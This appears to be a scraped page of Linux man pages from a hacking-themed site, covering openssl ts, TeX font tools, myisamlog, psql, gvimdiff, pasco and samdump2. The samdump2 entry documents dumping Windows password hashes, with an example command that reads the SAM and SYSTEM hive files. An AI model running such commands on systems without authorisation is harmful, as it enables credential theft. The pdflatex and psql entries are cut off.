Specifies the OpenSSL engine that will be set as the default for all available algorithms. The default value is built-in, you can specify any other engines supported by OpenSSL (e.g. use chil for the NCipher HSM). (Optional)

signer_cert
TSA signing certificate in PEM format. The same as the -signer command line option. (Optional)

certs
A file containing a set of PEM encoded certificates that need to be included in the response. The same as the -chain command line option. (Optional)

signer_key
The private key of the TSA in PEM format. The same as the -inkey command line option. (Optional)

signer_digest
Signing digest to use. The same as the **-**digest command line option. (Mandatory unless specified on the command line)

default_policy
The default policy to use when the request does not mandate any policy. The same as the -tspolicy command line option. (Optional)

other_policies
Comma separated list of policies that are also acceptable by the TSA and used only if the request explicitly specifies one of them. (Optional)

digests
The list of message digest algorithms that the TSA accepts. At least one algorithm must be specified. (Mandatory)

accuracy
The accuracy of the time source of the TSA in seconds, milliseconds and microseconds. E.g. secs:1, millisecs:500, microsecs:100. If any of the components is missing zero is assumed for that field. (Optional)

clock_precision_digits
Specifies the maximum number of digits, which represent the fraction of seconds, that need to be included in the time field. The trailing zeros must be removed from the time, so there might actually be fewer digits, or no fraction of seconds at all. Supported only on UNIX platforms. The maximum value is 6, default is 0. (Optional)

ordering
If this option is yes the responses generated by this TSA can always be ordered, even if the time difference between two responses is less than the sum of their accuracies. Default is no. (Optional)

tsa_name
Set this option to yes if the subject name of the TSA must be included in the TSA name field of the response. Default is no. (Optional)

ess_cert_id_chain
The SignedData objects created by the TSA always contain the certificate identifier of the signing certificate in a signed attribute (see RFC 2634, Enhanced Security Services). If this variable is set to no, only this signing certificate identifier is included in the SigningCertificate signed attribute. If this variable is set to yes and the certs variable or the -chain option is specified then the certificate identifiers of the chain will also be included, where the -chain option overrides the certs variable. Default is no. (Optional)

ess_cert_id_alg
This option specifies the hash function to be used to calculate the TSA’s public key certificate identifier. Default is sha256. (Optional)

EXAMPLES

All the examples below presume that OPENSSL_CONF is set to a proper configuration file, e.g. the example configuration file openssl/apps/openssl.cnf will do.

Timestamp Request

To create a timestamp request for design1.txt with SHA-256 digest, without nonce and policy, and without requirement for a certificate in the response:

openssl ts -query -data design1.txt -no_nonce \ -out design1.tsq

To create a similar timestamp request with specifying the message imprint explicitly:

openssl ts -query -digest b7e5d3f93198b38379852f2c04e78d73abdd0f4b \ -no_nonce -out design1.tsq

To print the content of the previous request in human readable format:

openssl ts -query -in design1.tsq -text

To create a timestamp request which includes the SHA-512 digest of design2.txt, requests the signer certificate and nonce, and specifies a policy id (assuming the tsa_policy1 name is defined in the OID section of the config file):

openssl ts -query -data design2.txt -sha512 \ -tspolicy tsa_policy1 -cert -out design2.tsq

Timestamp Response

Before generating a response a signing certificate must be created for the TSA that contains the timeStamping critical extended key usage extension without any other key usage extensions. You can add this line to the user certificate section of the config file to generate a proper certificate;

extendedKeyUsage = critical,timeStamping

See openssl-req (1), openssl-ca (1), and openssl-x509 (1) for instructions. The examples below assume that cacert.pem contains the certificate of the CA, tsacert.pem is the signing certificate issued by cacert.pem and tsakey.pem is the private key of the TSA.

To create a timestamp response for a request:

openssl ts -reply -queryfile design1.tsq -inkey tsakey.pem \ -signer tsacert.pem -out design1.tsr

If you want to use the settings in the config file you could just write:

openssl ts -reply -queryfile design1.tsq -out design1.tsr

To print a timestamp reply to stdout in human readable format:

openssl ts -reply -in design1.tsr -text

To create a timestamp token instead of timestamp response:

openssl ts -reply -queryfile design1.tsq -out design1_token.der -token_out

To print a timestamp token to stdout in human readable format:

openssl ts -reply -in design1_token.der -token_in -text -token_out

To extract the timestamp token from a response:

openssl ts -reply -in design1.tsr -out design1_token.der -token_out

To add ‘granted’ status info to a timestamp token thereby creating a valid response:

openssl ts -reply -in design1_token.der -token_in -out design1.tsr

Timestamp Verification

To verify a timestamp reply against a request:

openssl ts -verify -queryfile design1.tsq -in design1.tsr \ -CAfile cacert.pem -untrusted tsacert.pem

To verify a timestamp reply that includes the certificate chain:

openssl ts -verify -queryfile design2.tsq -in design2.tsr \ -CAfile cacert.pem

To verify a timestamp token against the original data file: openssl ts -verify -data design2.txt -in design2.tsr \ -CAfile cacert.pem

To verify a timestamp token against a message imprint: openssl ts -verify -digest b7e5d3f93198b38379852f2c04e78d73abdd0f4b \ -in design2.tsr -CAfile cacert.pem

You could also look at the ’test’ directory for more examples.

BUGS

  • No support for timestamps over SMTP, though it is quite easy to implement an automatic e-mail based TSA with procmail (1) and perl (1). HTTP server support is provided in the form of a separate apache module. HTTP client support is provided by tsget (1). Pure TCP/IP protocol is not supported.

  • The file containing the last serial number of the TSA is not locked when being read or written. This is a problem if more than one instance of openssl (1) is trying to create a timestamp response at the same time. This is not an issue when using the apache server module, it does proper locking.

  • Look for the FIXME word in the source files.

  • The source code should really be reviewed by somebody else, too.

  • More testing is needed, I have done only some basic tests (see test/testtsa).

HISTORY

OpenSSL 1.1.1 introduced a new random generator (CSPRNG) with an improved seeding mechanism. The new seeding mechanism makes it unnecessary to define a RANDFILE for saving and restoring randomness. This option is retained mainly for compatibility reasons.

The -engine option was deprecated in OpenSSL 3.0.

SEE ALSO

openssl (1), tsget (1), openssl-req (1), openssl-x509 (1), openssl-ca (1), openssl-genrsa (1), config (5), ossl_store-file (7)

COPYRIGHT

Copyright 2006-2024 The OpenSSL Project Authors. All Rights Reserved.

Licensed under the Apache License 2.0 (the “License”). You may not use this file except in compliance with the License. You can obtain a copy in the file LICENSE in the source distribution or at <https://www.openssl.org/source/license.html>.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1908 - Linux cli command ovp2ovf

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command ovp2ovf and provides detailed information about the command ovp2ovf, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the ovp2ovf.

NAME 🖥️ ovp2ovf 🖥️

convert a virtual property-list file into a virtual font file and its associated font metric file

SYNOPSIS

ovp2ovf [OPTIONS] OVPFILE[.ovp] [OVFFILE[.ovf] [OFMFILE[.ofm]]]

DESCRIPTION

ovp2ovf translates a human-readable virtual property list (OVP) file, OVPFILE, into a virtual font (OVF) file, OVFFILE and its companion font metric (OFM) file, OFMFILE.

The program also works with TeX VP files, producing VF and TFM files. (ovp2ovf is based on the WEB source code for vptovf(1).)

OPTIONS

-help
display a brief summary of syntax and options

-verbose
display progress reports

-version
output version information and exit

FILES

OFMFILE
Omega Font Metric file

OVFFILE
Omega Virtual Font file

OVPFILE
Omega Virtual Property List file

BUGS

Email bug reports to <https://lists.tug.org/tex-k> (mailing list); good to check if the same bug is present in vptovf(1).

SEE ALSO

omega(1), ofm2opl(1), ovf2ovp(1), pltotf(1), tftopl(1), vftovp(1), vptovf(1)

AUTHOR

According to the WEB documentation:

VPtoVF is an extended version of the program PLtoTF, which is part of the standard TeXware library. OVP2OVF is an extended version of VPtoVF that allows much larger fonts. The idea of a virtual font was inspired by the work of David R. Fuchs who designed a similar set of conventions in 1984 while developing a device driver for ArborText, Inc. He wrote a somewhat similar program called PLFONT.

The primary authors of Omega were John Plaice and Yannis Haralambous. Omega (and Aleph) are now maintained as part of TeX Live.

This manual page was written by C.M. Connelly for the Debian GNU/Linux system. It is also now maintained as part of TeX Live.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1909 - Linux cli command pktype

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pktype and provides detailed information about the command pktype, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pktype.

NAME 🖥️ pktype 🖥️

verify and translate a packed font bitmap file to plain text

SYNOPSIS

pktype pk_file[pk]

DESCRIPTION

This manual page is not meant to be exhaustive. The complete documentation for this version of TeX can be found in the info file or manual Web2C: A TeX implementation.

The pktype program translates a packed font file (pk) (output by, for example, gftopk(1) to a file that humans can read. It also serves as a pk file-validating program (i.e., if pktype can read it, it’s correct) and as an example of a pk-reading program for other software that wants to read pk files.

The input pk_file on the command line may omit the suffix `pk. The plain text translation is always written to standard output.

The output file gives a compact encoding of the packed encoding, using conventions described in the source code. Run lengths of black pixels alternate with parenthesized run lengths of white pixels, and brackets are used to indicate when a row should be repeated.

ENVIRONMENT

pktype looks for pk_file in the usual places according to Kpathsea.

See tex(1) for the details of the searching.

SEE ALSO

dvitype(1), gftopk(1), gftype(1).
Donald E. Knuth et al., Metafontware.

AUTHORS

Tomas Rokicki wrote the program, Donald E. Knuth originally ported it to Unix, Pierre MacKay originally adapted it for compilation with Web2c.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1910 - Linux cli command myisamlog

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command myisamlog and provides detailed information about the command myisamlog, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the myisamlog.

NAME 🖥️ myisamlog 🖥️

display MyISAM log file contents

SYNOPSIS

**myisamlog [options] [**log_file [tbl_name] …]

DESCRIPTION

myisamlog processes the contents of a MyISAM log file.

Invoke myisamlog like this:

shell> myisamlog [options] [log_file [tbl_name] …] shell> isamlog [options] [log_file [tbl_name] …]

The default operation is update (-u). If a recovery is done (-r), all writes and possibly updates and deletes are done and errors are only counted. The default log file name is myisam.log for myisamlog and isam.log for isamlog if no log_file argument is given. If tables are named on the command line, only those tables are updated.

myisamlog supports the following options:

·

-?, -I

Display a help message and exit.

·

-c N

Execute only N commands.

·

-f N

Specify the maximum number of open files.

·

-i

Display extra information before exiting.

·

-o offset

Specify the starting offset.

·

-p N

Remove N components from path.

·

-r

Perform a recovery operation.

·

-R record_pos_file record_pos

Specify record position file and record position.

·

-u

Perform an update operation.

·

-v

Verbose mode. Print more output about what the program does. This option can be given multiple times to produce more and more output.

·

-w write_file

Specify the write file.

·

-V

Display version information.

COPYRIGHT

Copyright 2007-2008 MySQL AB, 2008-2010 Sun Microsystems, Inc., 2010-2020 MariaDB Foundation

This documentation is free software; you can redistribute it and/or modify it only under the terms of the GNU General Public License as published by the Free Software Foundation; version 2 of the License.

This documentation is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.

You should have received a copy of the GNU General Public License along with the program; if not, write to the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1335 USA or see http://www.gnu.org/licenses/.

SEE ALSO

For more information, please refer to the MariaDB Knowledge Base, available online at https://mariadb.com/kb/

AUTHOR

MariaDB Foundation (http://www.mariadb.org/).

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1911 - Linux cli command pdflatex

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pdflatex and provides detailed information about the command pdflatex, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pdflatex.
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1912 - Linux cli command ppmdcfont

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command ppmdcfont and provides detailed information about the command ppmdcfont, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the ppmdcfont.

.

NAME 🖥️ ppmdcfont 🖥️

Turn a Ppmdfont file into C source for a builtin font

SYNOPSIS

ppmdcfont

DESCRIPTION

This program is part of Netpbm(1) .

(There are no arguments or options)

ppmdcfont creates a C source file that you can compile into a built-in font for use with the Netpbm PPM drawing facilities. It reads a Ppmdfont file on Standard Input and writes the C source code to Standard Output.

The output C source code has the font object’s name hardcoded as ppmd_standardfont, which you will definitely want to edit, because that is the name of the font built in to libnetpbm. If you don’t change it, it will conflict both cognitively and in program linking. There should obviously be an option on ppmdcfont to choose this, but the development effort has not been justified so far.

See “LibnetpbmPPMDrawingFunction Manual” (1) for details on Ppmdfont files.

SEE ALSO

ppmdraw(1) , ppmddumpfont(1) , ppmdcfont(1) , Libnetpbm PPM Drawing Function Manual(1)

DOCUMENT SOURCE

This manual page was generated by the Netpbm tool ‘makeman’ from HTML source. The master documentation is at

http://netpbm.sourceforge.net/doc/ppmdcfont.html

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1913 - Linux cli command psql

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command psql and provides detailed information about the command psql, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the psql.

NAME 🖥️ psql 🖥️

PostgreSQL interactive terminal

SYNOPSIS

psql [option…] [dbname [username]]

DESCRIPTION

psql is a terminal-based front-end to PostgreSQL. It enables you to type in queries interactively, issue them to PostgreSQL, and see the query results. Alternatively, input can be from a file or from command line arguments. In addition, psql provides a number of meta-commands and various shell-like features to facilitate writing scripts and automating a wide variety of tasks.

OPTIONS

-a
–echo-all

Print all nonempty input lines to standard output as they are read. (This does not apply to lines read interactively.) This is equivalent to setting the variable ECHO to all.

-A
–no-align

Switches to unaligned output mode. (The default output mode is aligned.) This is equivalent to \pset format unaligned.

-b
–echo-errors

Print failed SQL commands to standard error output. This is equivalent to setting the variable ECHO to errors.

-c command
**–command=**command

Specifies that psql is to execute the given command string, command. This option can be repeated and combined in any order with the -f option. When either -c or -f is specified, psql does not read commands from standard input; instead it terminates after processing all the -c and -f options in sequence.

command must be either a command string that is completely parsable by the server (i.e., it contains no psql-specific features), or a single backslash command. Thus you cannot mix SQL and psql meta-commands within a -c option. To achieve that, you could use repeated -c options or pipe the string into psql, for example:

psql -c \x -c SELECT * FROM foo;

or

echo \x \ SELECT * FROM foo; | psql

(\ is the separator meta-command.)

Each SQL command string passed to -c is sent to the server as a single request. Because of this, the server executes it as a single transaction even if the string contains multiple SQL commands, unless there are explicit BEGIN/COMMIT commands included in the string to divide it into multiple transactions. (See Section 55.2.2.1 for more details about how the server handles multi-query strings.)

If having several commands executed in one transaction is not desired, use repeated -c commands or feed multiple commands to psqls standard input, either using echo as illustrated above, or via a shell here-document, for example:

psql «EOF \x SELECT * FROM foo; EOF

–csv

Switches to CSV (Comma-Separated Values) output mode. This is equivalent to \pset format csv.

-d dbname
**–dbname=**dbname

Specifies the name of the database to connect to. This is equivalent to specifying dbname as the first non-option argument on the command line. The dbname can be a connection string. If so, connection string parameters will override any conflicting command line options.

-e
–echo-queries

Copy all SQL commands sent to the server to standard output as well. This is equivalent to setting the variable ECHO to queries.

-E
–echo-hidden

Echo the actual queries generated by \d and other backslash commands. You can use this to study psqls internal operations. This is equivalent to setting the variable ECHO_HIDDEN to on.

-f filename
**–file=**filename

Read commands from the file filename, rather than standard input. This option can be repeated and combined in any order with the -c option. When either -c or -f is specified, psql does not read commands from standard input; instead it terminates after processing all the -c and -f options in sequence. Except for that, this option is largely equivalent to the meta-command \i.

If filename is - (hyphen), then standard input is read until an EOF indication or \q meta-command. This can be used to intersperse interactive input with input from files. Note however that Readline is not used in this case (much as if -n had been specified).

Using this option is subtly different from writing psql < filename. In general, both will do what you expect, but using -f enables some nice features such as error messages with line numbers. There is also a slight chance that using this option will reduce the start-up overhead. On the other hand, the variant using the shells input redirection is (in theory) guaranteed to yield exactly the same output you would have received had you entered everything by hand.

-F separator
**–field-separator=**separator

Use separator as the field separator for unaligned output. This is equivalent to \pset fieldsep or ** **.

-h hostname
**–host=**hostname

Specifies the host name of the machine on which the server is running. If the value begins with a slash, it is used as the directory for the Unix-domain socket.

-H
–html

Switches to HTML output mode. This is equivalent to \pset format html or the \H command.

-l
–list

List all available databases, then exit. Other non-connection options are ignored. This is similar to the meta-command \list.

When this option is used, psql will connect to the database postgres, unless a different database is named on the command line (option -d or non-option argument, possibly via a service entry, but not via an environment variable).

-L filename
**–log-file=**filename

Write all query output into file filename, in addition to the normal output destination.

-n
–no-readline

Do not use Readline for line editing and do not use the command history (see the section called “Command-Line Editing” below).

-o filename
**–output=**filename

Put all query output into file filename. This is equivalent to the command \o.

-p port
**–port=**port

Specifies the TCP port or the local Unix-domain socket file extension on which the server is listening for connections. Defaults to the value of the PGPORT environment variable or, if not set, to the port specified at compile time, usually 5432.

-P assignment
**–pset=**assignment

Specifies printing options, in the style of \pset. Note that here you have to separate name and value with an equal sign instead of a space. For example, to set the output format to LaTeX, you could write -P format=latex.

-q
–quiet

Specifies that psql should do its work quietly. By default, it prints welcome messages and various informational output. If this option is used, none of this happens. This is useful with the -c option. This is equivalent to setting the variable QUIET to on.

-R separator
**–record-separator=**separator

Use separator as the record separator for unaligned output. This is equivalent to \pset recordsep.

-s
–single-step

Run in single-step mode. That means the user is prompted before each command is sent to the server, with the option to cancel execution as well. Use this to debug scripts.

-S
–single-line

Runs in single-line mode where a newline terminates an SQL command, as a semicolon does.

Note

This mode is provided for those who insist on it, but you are not necessarily encouraged to use it. In particular, if you mix SQL and meta-commands on a line the order of execution might not always be clear to the inexperienced user.

-t
–tuples-only

Turn off printing of column names and result row count footers, etc. This is equivalent to ** ** or \pset tuples_only.

-T table_options
**–table-attr=**table_options

Specifies options to be placed within the HTML table tag. See \pset tableattr for details.

-U username
**–username=**username

Connect to the database as the user username instead of the default. (You must have permission to do so, of course.)

-v assignment
**–set=**assignment
**–variable=**assignment

Perform a variable assignment, like the \set meta-command. Note that you must separate name and value, if any, by an equal sign on the command line. To unset a variable, leave off the equal sign. To set a variable with an empty value, use the equal sign but leave off the value. These assignments are done during command line processing, so variables that reflect connection state will get overwritten later.

-V
–version

Print the psql version and exit.

-w
–no-password

Never issue a password prompt. If the server requires password authentication and a password is not available from other sources such as a .pgpass file, the connection attempt will fail. This option can be useful in batch jobs and scripts where no user is present to enter a password.

Note that this option will remain set for the entire session, and so it affects uses of the meta-command **

1914 - Linux cli command samdump2

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command samdump2 and provides detailed information about the command samdump2, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the samdump2.

NAME 🖥️ samdump2 🖥️

** retrieves syskey and extract hashes from Windows 2k/NT/XP/Vista SAM.

SYNOPSIS

samdump2 [OPTIONS] SYSTEM_FILE SAM_FILE

DESCRIPTION

samdump2 is designed to dump Windows 2k/NT/XP password hashes from a SAM file, using the syskey bootkey from the system hive.
-d
enable debugging

-h
display this help

-o file
write output to file

EXAMPLE

samdump2 -o out /mnt/ntfs/WINDOWS/system32/config/system /mnt/ntfs/WINDOWS/system32/config/sam

AUTHOR

This manual page was written by Adam Cecile <[email protected]> for the Debian system (but may be used by others) and modified by Objectif Securite <[email protected]> Permission is granted to copy, distribute and/or modify this document under the terms of the GNU General Public License, Version 2 or any later version published by the Free Software Foundation On Debian systems, the complete text of the GNU General Public License can be found in /usr/share/common-licenses/GPL-2.

SEE ALSO

ophcrack(1)

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1915 - Linux cli command gvimdiff

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command gvimdiff and provides detailed information about the command gvimdiff, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the gvimdiff.

NAME 🖥️ gvimdiff 🖥️

edit between two and eight versions of a file with Vim and show differences

SYNOPSIS

vimdiff [options] file1 file2 [file3 [file4 [file5 [file6 [file7 [file8]]]]]]

gvimdiff

DESCRIPTION

Vimdiff starts Vim on two up to eight files. Each file gets its own window. The differences between the files are highlighted. This is a nice way to inspect changes and to move changes from one version to another version of the same file.

See vim(1) for details about Vim itself.

When started as gvimdiff the GUI will be started, if available.

In each window the ‘diff’ option will be set, which causes the differences to be highlighted.
The ‘wrap’ and ‘scrollbind’ options are set to make the text look good.
The ‘foldmethod’ option is set to “diff”, which puts ranges of lines without changes in a fold. ‘foldcolumn’ is set to two to make it easy to spot the folds and open or close them.

OPTIONS

Vertical splits are used to align the lines, as if the “-O” argument was used. To use horizontal splits instead, use the “-o” argument.

For all other arguments see vim(1).

SEE ALSO

vim(1)

AUTHOR

Most of Vim was made by Bram Moolenaar, with a lot of help from others. See “:help credits” in Vim.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1916 - Linux cli command pasco

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pasco and provides detailed information about the command pasco, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pasco.

NAME 🖥️ pasco 🖥️

tool to extract information from MS IE cache files

SYNOPSIS

Pasco FILE

DESCRIPTION

pasco is a tool to extract valuable information (from a forensics investigator point of view) from MS IE cache files (index.dat).

OPTIONS

FILE
Cache file to parse.

AUTHOR

This manual page was written by Christophe Monniez <[email protected]> for the Debian project (but may be used by others).

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

